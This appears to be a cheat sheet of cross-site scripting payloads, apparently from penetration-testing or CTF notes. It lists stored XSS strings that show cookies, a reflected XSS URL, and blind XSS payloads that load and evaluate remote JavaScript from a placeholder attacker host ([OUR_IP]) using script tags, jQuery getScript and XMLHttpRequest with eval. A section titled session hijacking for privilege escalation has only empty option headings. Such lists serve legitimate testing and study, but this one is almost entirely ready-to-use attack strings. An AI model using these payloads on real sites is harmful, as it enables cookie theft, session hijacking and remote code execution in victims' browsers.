XSS
1) Stored
<script>alert("XSS")</script>
<script>alert(document.cookie)</script>
<script>alert(window.origin)</script>2) Reflected
http://[SERVER_IP]:[PORT]/index.php?task=%3Cscript%3Ealert(document.cookie)%3C/script%3E3) Blind
<script src=http://[OUR_IP]></script>
'><script src=http://[OUR_IP]></script>
<script>$.getScript("http://[OUR_IP]")</script>
"><script src=http://[OUR_IP]></script>
javascript:eval('var a=document.createElement(\'script\');a.src=\'http://OUR_IP\';document.body.appendChild(a)')
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//OUR_IP");a.send();</script>4) Privilege Escalation using Session Hijacking
Option 1:
Option 2:
Last updated